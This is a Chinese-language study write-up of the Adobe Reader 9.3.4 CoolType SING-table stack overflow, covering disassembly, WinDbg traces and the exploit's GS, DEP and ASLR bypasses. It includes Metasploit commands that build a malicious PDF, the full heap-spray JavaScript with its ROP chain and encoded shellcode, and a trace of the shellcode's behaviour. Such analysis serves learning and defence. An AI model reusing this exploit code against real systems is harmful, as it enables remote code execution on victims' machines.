前言

此漏洞是根据泉哥的《漏洞战争》来学习分析的,网上已有大量分析文章在此只是做一个独立的分析记录。

复现环境

  • 操作系统 -> Windows XP Sp3
  • 软件版本 -> Adobe Reader 9.3.4

静态分析

如果根据泉哥的文章直接走倒是也没有啥问题,不过在学习的过程中倒是很想试一下如果没有更多提示的条件下是否可以走一遍整个流程。于是搜索这个漏洞的信息找到了一篇NVD的文章,这里很明确的告诉了漏洞所在的库和SING表的一些信息以及漏洞类型是一个栈溢出,在这些信息的基础上我们可以尝试静态分析一下CoolType.dll来大概搜索一下漏洞可能出现的位置。其实注意看上下文的话,在 IDA中能很快看到紧邻SING字符串的下方有一个strcat函数的调用,这里就极有可能是漏洞位置了。

.text:0803DCF9 var_160         = byte ptr -160h
.text:0803DCF9 var_140 = dword ptr -140h
.text:0803DCF9 var_138 = dword ptr -138h
.text:0803DCF9 var_134 = dword ptr -134h
.text:0803DCF9 var_130 = dword ptr -130h
.text:0803DCF9 var_12C = dword ptr -12Ch
.text:0803DCF9 var_128 = dword ptr -128h
.text:0803DCF9 var_124 = dword ptr -124h
.text:0803DCF9 var_120 = dword ptr -120h
.text:0803DCF9 var_119 = byte ptr -119h
.text:0803DCF9 var_114 = dword ptr -114h
.text:0803DCF9 var_10C = dword ptr -10Ch
.text:0803DCF9 var_108 = byte ptr -108h
.text:0803DCF9 var_4 = dword ptr -4
.text:0803DCF9 arg_0 = dword ptr 8
.text:0803DCF9 arg_4 = dword ptr 0Ch
.text:0803DCF9 arg_8 = dword ptr 10h
.text:0803DCF9 arg_C = dword ptr 14h
.text:0803DCF9
.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h
.text:0803DD00 lea ebp, [esp-4]
.text:0803DD04 mov eax, ___security_cookie
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset sub_8184A54
.text:0803DD18 call __EH_prolog3_catch
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0]
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 mov [ebp+108h+var_10C], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+108h+var_124], esi
.text:0803DD4C mov [ebp+108h+var_120], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+108h+var_12C]
.text:0803DD7D call sub_8021B06
.text:0803DD82 mov eax, [ebp+108h+var_12C]
.text:0803DD85 cmp eax, esi
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4
.text:0803DD8D mov ecx, [eax]
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F add eax, 10h
.text:0803DDA2 push eax ; char *
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; char *
.text:0803DDA7 mov [ebp+108h+var_108], 0
.text:0803DDAB call strcat

这里可以看到strcat函数调用之前确实没有进行长度验证,如果只是单纯的看这段汇编代码可能很难和整个漏洞联系起来,于是我们要动态调试来看一看。

动态调试

首先,我们利用msf生成一个样本,为了后面的调试方便,最好先改一下exp的源码,linux下msf的exp/opt/metasploit-framework/embedded/framework/modules/exploits/windows/fileformat目录下,随后我们找到adobe_cooltype_sing.rb文件,注释掉其中的第102行,恢复101行,这里为了不被检测到用了随机数据的方式来填充的,但是这不利于调试。然后设置payload,命令行如下

msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set filename calc.pdf
filename => calc.pdf
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
payload => windows/exec
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > run

然后我们用windbg打开Adober Reader,用sxe ld CoolType在程序加载CoolType.dll的时候下断,随后执行,加上IDA中的静态分析我们可以知道strcat函数的偏移,于是我们在strcat处下断bp 0803DDAB ,打开poc,继续执行,这里我们看到调用strcat函数之前的函数参数如下

0:000> dd esp
0013e468 0013e4d8 03395fb4 07e5c04f 00000004
0013e478 0013e6d0 00000000 0341f250 0341f0d0
0013e488 03685db0 03685dac 0013e4c0 78147548
0013e498 0341f0d0 03685db0 000001fc 00000004
0013e4a8 0013e700 0013e6d0 0013e718 03395fa4
0013e4b8 00001ddf 00000000 00000000 00e5b9cc
0013e4c8 0013e470 0013e70c 08184a54 00000002
0013e4d8 0013e400 0013e6b0 00000000 07e5c1d7
0:000> dd 0013e4d8
0013e4d8 0013e400 0013e6b0 00000000 07e5c1d7
0013e4e8 0013e858 0823ae9c 080852ef 0823a650
0013e4f8 03685dac 08080d0b 0341f0c4 0013e4d4
0013e508 0013e550 010ff8af ffffffff 00e5b9dc
0013e518 00f4a90a 0013e584 0013e594 0013e580
0013e528 0013e57c 00f4a949 07e5d872 00000004
0013e538 0013e6b0 00000000 0013e540 00f4a90a
0013e548 0013e5b0 0013e5c0 0013e5d4 010fc97e
0:000> dd 03395fb4
03395fb4 41414141 41414141 4a82a714 0c0c0c0c
03395fc4 41414141 41414141 41414141 41414141
03395fd4 41414141 41414141 41414141 41414141
03395fe4 41414141 41414141 41414141 41414141
03395ff4 41414141 41414141 41414141 41414141
03396004 41414141 41414141 41414141 41414141
03396014 41414141 41414141 41414141 41414141
03396024 41414141 41414141 41414141 41414141

调试到这一步基本验证了之前的想法,漏洞确实在此处strcat的位置。此时我们用pdfStreamDumper这个工具来分析一下样本pdf,将对应的object保存到本地如下

由于Adobe font官网2018的改版原来介绍`SING`表数据结构的文档暂时未找到,根据泉哥书中的介绍SING字符串偏移`0x11c`以后就是SING表的真实数据,也就是A字符串填充开始的地方,strcat的复制拼接也是从这里开始的。这里复制的长度为0x23C,从书中提供的`SING`表的数据结构来看这里接受的最大长度是`28byte`,复制的长度远远超过了缓冲区的长度。在确定了漏洞的位置以后,我们就来学一学此漏洞的利用,尽量从`exp`的作者来考虑这个问题。

漏洞利用

首先我们需要罗列一下这个版本的Adobe Reader都开启了哪些安全机制

  • GS,又称canary,通过在函数返回前压入栈的随机值是否被覆盖来决定是否抛出异常,或者继续执行代码
  • DEP,堆栈不可执行保护,标记了堆栈读写属性,完全关闭了执行的权限
  • ASLR,地址随机化,程序每次加载的内存位置不固定,在此版本的Reader中应该未覆盖到此模块

首先我们来看一下GS的通用绕过策略,通常包括以下几种方法

  • 利用未开启GS安全机制的内存
  • 覆盖异常处理机制(SEH)的指针,程序触发异常后劫持程序执行流,如果程序启用safeSEH则需要另外考虑
  • 利用C++函数的虚表指针,覆盖虚函数的指针,在溢出后,函数返回之前就劫持程序流程
  • 信息泄露,利用条件比较受限

我们分析一下手头的样本,看作者利用了哪些方法来绕过GS的,观察一下复制了内容以后的栈空间和之前的对比,如下所示

复制之前1

复制之后1

复制之前2

复制之后2

复制之前3

复制之后3

从这几处的对比可以看出,作者溢出缓冲区只是覆盖了几个关键的位置,那么这几个关键的位置究竟是做什么用的呢?通过单步跟踪的方式,我们最终跟踪到了一处调用,如下所示

0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=0808b308 esp=0013dd28 ebp=0013dd48 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
CoolType!CTInit+0x44c65:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 9.0\Reader\icucnv36.dll -
0808b308 ff10 call dword ptr [eax] ds:0023:0013e6d0=4a80cb38
0:000> dd eax
0013e6d0 4a80cb38 41414141 41414141 41414141
0013e6e0 41414141 41414141 41414141 41414141
0013e6f0 41414141 41414141 41414141 41414141
0013e700 41414141 41414141 41414141 41414141
0013e710 41414141 0000006c 00000000 0000006d
0013e720 00000001 00000001 00000000 04835f84
0013e730 0483cae0 000026ec 0483c750 00000000
0013e740 0483c758 00000200 0483c758 080833ef
0:000> u 4a80cb38
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
4a80cb3e c9 leave
4a80cb3f c3 ret

可以看到此处的函数调用的地址刚好是覆盖后的特殊字段,对其进行反汇编可以发现其作用是将栈拉低0x794的地址长度然后返回,很明显这里已经是作者布置好的ROP链,这用来绕过上面所说的DEP机制,跟踪的过程中发现此处还未执行到strcat函数所在函数块的正常返回的位置,那么可以初步确定绕过GS的方法用的就是覆盖C++虚函数的方式,那么上面被4a80cb38所覆盖的就是原本的C++的虚函数指针,这里选择4a80cb38作为ROP的地址的一部分是因为其所在的icucnv36.dll基本在之前的大部分版本中都保持不变,所以极大提高了exp的通用性。我们跟进去,看看这里返回以后是哪里

0:000> t
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb38 esp=0013dd24 ebp=0013dd48 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb3e esp=0013dd24 ebp=0013e4dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x168:
4a80cb3e c9 leave
0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb3f esp=0013e4e0 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x169:
4a80cb3f c3 ret
0:000> dd esp
0013e4e0 4a82a714 0c0c0c0c 41414141 41414141
0013e4f0 41414141 41414141 41414141 41414141
0013e500 41414141 41414141 41414141 41414141
0013e510 41414141 41414141 41414141 41414141
0013e520 41414141 41414141 41414141 41414141
0013e530 41414141 41414141 41414141 41414141
0013e540 41414141 41414141 41414141 41414141
0013e550 41414141 41414141 41414141 41414141
0:000> u 4a82a714
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
4a82a715 c3 ret

看到上面的指令,尤其是0c0c0c0c这块地址,基本上已经确定了,这里使用的是Heap Spray。这里通过把原来的栈内存释放到溢出以后的可控区域,然后在其中布置ROP链地址,最后劫持寄存器到堆中指定地址,执行另外的ROP链。既然是用Heap Spray在堆中布局,那么pdf中一定内嵌了js,我们看一下

var var_unescape = unescape;
var shellcode = var_unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%udbb8%u1039%uda5b%ud9da%u2474%u5af4%uc931%u31b1%uea83%u31fc%u0f42%u4203%udbd4%ua7e5%u9902%u5806%ufed2%ubd8f%u3ee3%ub6eb%u8f53%u9a7f%u645f%u0f2d%u08d4%u20fa%ua65d%u0fdc%u9b5e%u111d%ue6dc%uf171%u28dd%uf084%u541a%ua065%u12f3%u55d8%u6e70%udee1%u7eca%u0261%u819a%u9540%udb91%u1742%u5076%u0fcb%u5d9b%ua485%u296f%u6d14%ud2be%u50bb%u210f%u95c5%udab7%uefb0%u67c4%u2bc3%ub3b7%ua846%u371f%u14f0%u949e%ude67%u51ac%ub8e3%u64b0%ub320%uedcc%u14c7%ub545%ub0e3%u6d0e%ue18d%uc0ea%uf2b2%ubc55%u7816%ua97b%u232a%u2c11%u59b8%u2e57%u61c2%u47c7%ueaf3%u1088%u390c%uefed%u6046%u7847%uf00f%ue5da%u2eb0%u1018%udb33%ue7e0%uae2b%uace5%u42eb%ubd97%u6499%ubd04%u068b%u2dcb%ue757%ud66e%uf7f2');
var var_c = var_unescape("%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c"); while (var_c.length + 20 + 8 < 65536) {
var_c += var_c;
} sp = var_c.substring(0, (0x0c0c - 0x24) / 2);
sp += shellcode;
sp += var_c;
slackspace = sp.substring(0, 65536 / 2);
while (slackspace.length < 0x80000) {
slackspace += slackspace;
}
bigblock = slackspace.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
var memory = new Array();
for (count = 0; count < 0x1f0; count++) {
memory[count] = bigblock + "s"
}

通过观察这段js的代码,我们发现其基本上就是将0c0c0c0c + shellcode + 0c0c0c0c这样的"肉夹馍"(一份大概32k)整了200+M。这样覆盖到0x0c0c0c0c这个地址基本不是什么问题。用这样的方式布置shellcode也基本不用考虑ASLR的影响了。随后我们分析一下shellcode所做的操作,shellcode也是用了ROP来做实现的

可以看出执行ROP使用了多条链,这里要指出的一点是此版本的Reader开启了ASLR,但是却没有覆盖到这里所用的icucnv36.dll这个模块,所以以上的ROP链是可以稳定执行的。到此漏洞利用的行为基本分析清楚,我们来回顾一下,作者是如何逐个突破这些安全机制的限制,一步一步达到RCE

  • GS-->这里作者使用了覆盖C++的虚函数指针的方式来绕过的,使得在函数返回做检查之前就成功劫持程序执行流
  • DEP-->这里使用的是经典的对抗方式ROP
  • ASLR-->作者找到了未开启ASLR的模块来依托其稳定的执行ROP链

    这其中尤其是绕过GS所使用的覆盖C++虚表函数指针的操作,使得整个利用的过程获得了完美的转机,本环境中系统是默认开启了safeSEH防护的,在这样的条件下使用覆盖C++虚表函数的方式,直接可以同时间绕过GSsafeSEH,两全其美。

shellcode分析

shellcode部分首先就是执行了一个CreateFileW函数来创建一个文件,下面是这个函数的定义

HANDLE CreateFile(

  LPCTSTR lpFileName, //指向文件名的指针

  DWORD dwDesiredAccess, //访问模式(写/读)

  DWORD dwShareMode, //共享模式

  LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全属性的指针

  DWORD dwCreationDisposition, //如何创建

  DWORD dwFlagsAndAttributes, //文件属性

  HANDLE hTemplateFile //用于复制文件句柄

  );

我们来看一下此时的参数

0:000> p
eax=7ffdebf8 ebx=00000000 ecx=7ffdec00 edx=4a8522c8 esi=0224b760 edi=0013e718
eip=7c801a4e esp=0c0c0c04 ebp=0c0c0c20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
kernel32!CreateFileA+0x26:
7c801a4e e886f20000 call kernel32!CreateFileW (7c810cd9)
0:000> dd esp
0c0c0c04 7ffdec00 10000000 00000000 00000000
0c0c0c14 00000002 00000102 00000000 41414141
0c0c0c24 4a801064 4a8522c8 10000000 00000000
0c0c0c34 00000000 00000002 00000102 00000000
0c0c0c44 4a8063a5 4a801064 4a842db2 4a802ab1
0c0c0c54 00000008 4a80a8a6 4a801f90 4a849038
0c0c0c64 4a80b692 4a801064 ffffffff 00000000
0c0c0c74 00000040 00000000 00010000 00000000
0:000> dc 7ffdec00
7ffdec00 00730069 0038006f 00350038 00310039 i.s.o.8.8.5.9.1.
7ffdec10 00640000 00650052 00650063 00760069 ..d.R.e.c.e.i.v.
7ffdec20 00430065 006e006f 00630065 00690074 e.C.o.n.e.c.t.i.
7ffdec30 006e006f 0045002e 00650076 0074006e o.n...E.v.e.n.t.
7ffdec40 0045002e 00470048 0049002e 00000043 ..E.H.G...I.C...
7ffdec50 0069005c 00750063 00740064 00360033 \.i.c.u.d.t.3.6.
7ffdec60 0063005f 006b006a 0064002e 006c006c _.c.j.k...d.l.l.
7ffdec70 006c0000 006e0000 0061002e 006c0070 ..l...n...a.p.l.

根据函数的定义我们知道0x7ffdec00这个地址处就是创建的文件文件名,我们看到其名字是iso88591,这里还要指出的一点是创建的文件是和打开的pdf在一个文件夹下面,但是,他是隐藏文件(参考栈中的参数),不过在创建文件以后,通过Everything还是很容易搜索得到的

创建文件以后又调用了CreatFileMapping函数为刚刚创建的文件生成一个文件共享内存映像,其函数原型和参数如下所示

HANDLE CreateFileMapping(
HANDLE hFile, //物理文件句柄
LPSECURITY_ATTRIBUTES lpAttributes, //安全设置
DWORD flProtect, //保护设置
DWORD dwMaximumSizeHigh, //高位文件大小
DWORD dwMaximumSizeLow, //低位文件大小
LPCTSTR lpName //共享内存名称
);
0:000> p
eax=4a849038 ebx=00000008 ecx=4a801064 edx=00160608 esi=00000000 edi=0000048c
eip=7c80955a esp=0c0c0c40 ebp=0c0c0c64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
kernel32!CreateFileMappingA+0x50:
7c80955a e8ddfeffff call kernel32!CreateFileMappingW (7c80943c)
0:000> dd esp
0c0c0c40 0000048c 00000000 00000040 00000000
0c0c0c50 00010000 00000000 0224b760 4a801064
0c0c0c60 4a801064 41414141 4a801064 0000048c
0c0c0c70 00000000 00000040 00000000 00010000
0c0c0c80 00000000 4a8063a5 4a801064 4a842db2
0c0c0c90 4a802ab1 00000008 4a80a8a6 4a801f90
0c0c0ca0 4a849030 4a80b692 4a801064 ffffffff
0c0c0cb0 00000022 00000000 00000000 00010000

在这之后紧接着,用相同的手段调用了CreateFileMappingEx函数,将之前创建的文件内存映射对象映射到当前程序的地址空间,其函数原型和参数如下

LPVOID WINAPI MapViewOfFileEx(
  __in HANDLE hFileMappingObject,
  __in DWORD dwDesiredAccess,
  __in DWORD dwFileOffsetHigh,
  __in DWORD dwFileOffsetLow,
  __in SIZE_T dwNumberOfBytesToMap,
  __in LPVOID lpBaseAddress
  );
0:000> p
eax=4a849030 ebx=00000008 ecx=4a801064 edx=7c90e514 esi=0224b760 edi=00000488
eip=7c80b9bb esp=0c0c0c8c ebp=0c0c0ca4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
kernel32!MapViewOfFile+0x16:
7c80b9bb e876ffffff call kernel32!MapViewOfFileEx (7c80b936)
0:000> dd esp
0c0c0c8c 00000488 00000022 00000000 00000000
0c0c0c9c 00010000 00000000 41414141 4a801064
0c0c0cac 00000488 00000022 00000000 00000000
0c0c0cbc 00010000 4a8063a5 4a8a0004 4a802196
0c0c0ccc 4a8063a5 4a801064 4a842db2 4a802ab1
0c0c0cdc 00000030 4a80a8a6 4a801f90 4a8a0004
0c0c0cec 4a80a7d8 4a8063a5 4a801064 4a842db2
0c0c0cfc 4a802ab1 00000020 4a80a8a6 4a8063a5

再往下走,我们碰到了一个很熟悉的函数memcpy,此处将真正的shellcode复制到映射过来的内存区域,然后执行

0:000> p
eax=0c0c1d54 ebx=0000000a ecx=00000400 edx=00000000 esi=0c0c0d54 edi=03f30000
eip=7814507a esp=0c0c0d38 ebp=0c0c0d40 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
MSVCR80!memcpy+0x5a:
7814507a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd esi
0c0c0d54 1039dbb8 d9dada5b 5af42474 31b1c931
0c0c0d64 31fcea83 42030f42 a7e5dbd4 58069902
0c0c0d74 bd8ffed2 b6eb3ee3 9a7f8f53 0f2d645f
0c0c0d84 20fa08d4 0fdca65d 111d9b5e f171e6dc
0c0c0d94 f08428dd a065541a 55d812f3 dee16e70
0c0c0da4 02617eca 9540819a 1742db91 0fcb5076
0c0c0db4 a4855d9b 6d14296f 50bbd2be 95c5210f
0c0c0dc4 efb0dab7 2bc367c4 a846b3b7 14f0371f
0:000> u esi
0c0c0d54 b8db39105b mov eax,5B1039DBh
0c0c0d59 dada fcmovu st,st(2)
0c0c0d5b d97424f4 fnstenv [esp-0Ch]
0c0c0d5f 5a pop edx
0c0c0d60 31c9 xor ecx,ecx
0c0c0d62 b131 mov cl,31h
0c0c0d64 83eafc sub edx,0FFFFFFFCh
0c0c0d67 31420f xor dword ptr [edx+0Fh],eax

这时我们发现已经创建号的文件中被写入了shellcode,打开如下所示

可以发现这正是我们复制过来的数据,随后我们对其进行反汇编,看看其代码,如下所示

void fcn.00000000(int64_t arg1, int64_t arg2, int64_t arg_10h)
{
uint32_t uVar1;
int64_t iVar2;
uint64_t uVar3;
int64_t unaff_RSI;
int64_t unaff_RDI;
uint32_t in_FPUInstructionPointer; uVar1 = 0x81876589;
uVar3 = (uint64_t)in_FPUInstructionPointer;
iVar2 = 0x59;
do {
uVar3 = (uint64_t)((int32_t)uVar3 + 4);
*(uint32_t *)(uVar3 + 0x10) = *(uint32_t *)(uVar3 + 0x10) ^ uVar1;
uVar1 = uVar1 + *(int32_t *)(uVar3 + 0x10);
iVar2 = iVar2 + -1;
} while (iVar2 != 0);
fcn.000000b0(unaff_RSI, unaff_RDI);
// WARNING: Bad instruction - Truncating control flow here
halt_baddata();
}

总结

作者在选择执行shellcode的时候选择用创建新的可执行内存区域的方式使得任意代码执行更稳定,这种稳妥的利用不失为一种好的思路。

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